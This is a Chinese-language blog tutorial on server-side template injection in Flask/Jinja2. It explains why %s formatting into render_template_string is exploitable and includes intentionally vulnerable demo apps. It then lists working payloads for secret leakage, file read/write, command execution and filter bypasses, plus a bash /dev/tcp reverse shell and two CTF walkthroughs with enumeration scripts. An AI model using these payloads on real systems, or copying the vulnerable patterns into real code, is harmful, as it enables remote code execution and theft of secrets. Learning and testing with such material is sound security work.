Flask模板注入(SSTI)

admin 2022年1月6日01:40:47评论837 views字数 10815阅读36分3秒阅读模式

SSTI(Server-Side Template Injection),即服务端模板注入攻击,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控.

背景知识

Flask

Flask是一个使用Python编写的轻量级Web应用框架。其 WSGI 工具箱采用Werkzeug,模板引擎则使用Jinja2。

Jinja2

Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在Jinja2中,存在三种语句:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

Jinja2模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用Jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。

Jinja2中的过滤器可以理解为是Jinja2里面的内置函数和字符串处理函数。

模板渲染函数

render_template()

渲染过程如下,render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容
Flask模板注入(SSTI)
Demo
app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import request, render_template

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
return render_template("index.html", person=person)

if __name__ == "__main__":
app.run(debug=True)

然后在当前目录新建templates目录,在其中新建index.html:

1
<h2>Hello {{ person.name }}!</h2>

当尝试进行XSS时,会自动被HTML编码过滤

render_template_string()
这个函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
from flask import request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello {{ person.name }}!</h2>'
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

SSTI检测

通常测试模块类型的方式如下图:
Flask模板注入(SSTI)
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。

漏洞成因

由前面知道,要想实现模板注入,首先必须得注入模板执行语句,如:

1
2
控制结构 {% %}
变量取值 {{ }}

但是在前面两个函数的Demo中,html内容中是以这种变量取值语句的形式来处理传入的参数的,此时person.name的值无论是什么内容,都会被当作是字符串来进行处理而非模板语句来执行,比如即使传入的是config来构成,但其也只会把参数值当作是字符串而非模板语句
Flask模板注入(SSTI)
通过%s这种传参形式来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rom flask import Flask
from flask import request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

这里就能得出结论了:

  1. SSTI漏洞点为在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击;

  2. SSTI漏洞风险只出现在render_template_string()函数,而render_template()函数并不存在SSTI风险,因为render_template()函数中是传入到一个模板HTML文件中,而该html文件这种的变量取值语句实现不了修改成%s这种形式的;

漏洞利用

XSS

传入什么返回什么,第一时间想到的就是XSS。之前的变量取值语句传入时是会进行自动HTML编码的,但%s传入的参数是不会自动进行HTML编码的,因为Flask并没有将整个内容视为字符串。

敏感信息泄露

config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。
Flask模板注入(SSTI)
某些情况下,当获取secret_key后,即可对session进行重新签名,完成session的伪造。

注意:Flask的session是保存在客户端,称为客户端session,会进行编码和校验。

整合一下可利用的PoC技巧:

1
2
3
4
5
?name={{config}}
?name={{person.secret}}
?name={{self.__dict__}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

任意文件读写

读文件

1
2
3
4
5
6
7
# Python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

# Python3中无file,只能用open
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

不知道哪个可以模块可以直接使用

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

这里ptython的序号可以fuzz一下
Flask模板注入(SSTI)
写文件

1
2
3
4
5
6
7
# python2 
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd','w').write('test')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')


# python3

命令执行

利用from_pyfile加载对象到Flask配置环境

这种利用方式算是一种简单的漏洞组合拳。

先利用文件写入漏洞写一个Python文件:

1
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/m7.py','w').write('from subprocess import check_output\nRUNCMD=check_output\n')}}

然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{config.from_pyfile('E:/m7.py')}}

访问全局变量config查看是否加载成功:
Flask模板注入(SSTI)
然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{config.from_pyfile('E:/m7.py')}}

Flask模板注入(SSTI)
访问全局变量config查看是否加载成功:
Flask模板注入(SSTI)
加载成功后,就可以通过以下形式执行任意命令了:

1
?name={{config['RUNCMD']('whoami')}}

利用元素链中可利用的命令执行函数

1
2
python3:
GET /?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].system('calc')}}

有回显的命令
python2

1
2
3
4
5
6
7
8
9
# os.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}

# platform.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}

# sys.modules间接调用前面两个模块
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}

python3

1
2
3
4
5
6
7
8
9
10
os.popen(cmd).read()
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}

platform.popen(cmd).read()
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}

sys.modules间接调用前面两个模块
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}
`

反弹shell

1
2
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()

控制结构

1
2
3
4
5
# 命令执行
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# 文件操作
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('E:/passwd', 'r').read() }}{% endif %}{% endfor %}

bypass

无法直接获取全局变量config

1
2
3
?name={{config}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

过滤引号

request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:

1
?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=e:/passwd.txt

过滤双下划线

同样是利用Flask的request.args属性来绕过:

1
?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('E:/passwd.txt').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤[]等括号

1
"".__class__.__bases__.__getitem__(0)

过滤了__subclasses__,拼凑法

实战例题

[CSCCTF 2019 Qual]FlaskLight

写个脚本寻找有用模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url="http://00121ac8-b368-4116-bfde-a17de3e5d6fb.node3.buuoj.cn/?"

for i in range(1,1000):
#print(i)
payload="search={{[].__class__.__mro__[1].__subclasses__()[%s]}}"%i
r=requests.get(url+payload).text
#print(r)
if 'subprocess.Popen' in r:
print('subprocess.Popen: ' ,i)
if 'file' in r:
print('file: ',i)
if 'catch_warnings' in r:
print('catch_warnings: ' ,i)
if 'WarningMessage' in r:
print('WarningMessage: ' ,i)

读取/proc/self/cmdline 得到python /flasklight/app.py

1
?search={{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/cmdline','r').read()}}

读取/flasklight/app.py

1
?search={{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/app.py','r').read()}}

/flasklight/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request, render_template_string, abort

app = Flask(__name__)
app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
result = ["CCC{Fl49_p@l5u}", "CSC CTF 2019", "Welcome to CTF Bois", "CCC{Qmu_T3rtyPuuuuuu}","Tralala_trilili"]
@app.route("/")


def search():
global result
blacklist = ['url_for', 'listdir', 'globals']
search = request.args.get('search') or None
if search is not None:
for black in blacklist:
if black in search:
abort(500)
if search in result:
result = search
return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % ( search, result))
elif search == None:
return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3><br> <!-- Parameter Name: search --> <!-- Method: GET --> </body> </html>''' % ( search, result))
else:
result = []
return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % ( search, result))

if __name__ == "__main__":
app.run(host="0.0.0.0", port=9000)

过滤了global

1
{{[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

可以拼接绕过

1
{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}

[RootersCTF2019]I_<3_Flask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url="http://1713eb16-da0f-4b9f-bcb6-dd79d1cdf38a.node3.buuoj.cn/?name="

for i in range(1,1000):
#print(i)
payload="{{ye1s.__class__.__mro__[1].__subclasses__()[%s]}}"%i
r=requests.get(url+payload).text
#print(r)
if 'subprocess.Popen' in r:
print('subprocess.Popen: ' ,i)
print(payload+"('whoami',shell=True,stdout=-1).communicate()[0].strip()")
if 'file' in r:
print('file: ',i)
if 'catch_warnings' in r:
print('catch_warnings: ' ,i)
# print(payload+".__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')")
if 'WarningMessage' in r:
print('WarningMessage: ' ,i)

或者

1
?name={{lipsum.__globals__.os.popen('whoami').read()}}

参考文章:
Flask/Jinja2 SSTI 学习
浅析Python Flask SSTI
flask之ssti模版注入从零到入门
Python模板注入(SSTI)深入学习





FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:40:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Flask模板注入(SSTI)https://cn-sec.com/archives/722201.html

发表评论

匿名网友 填写信息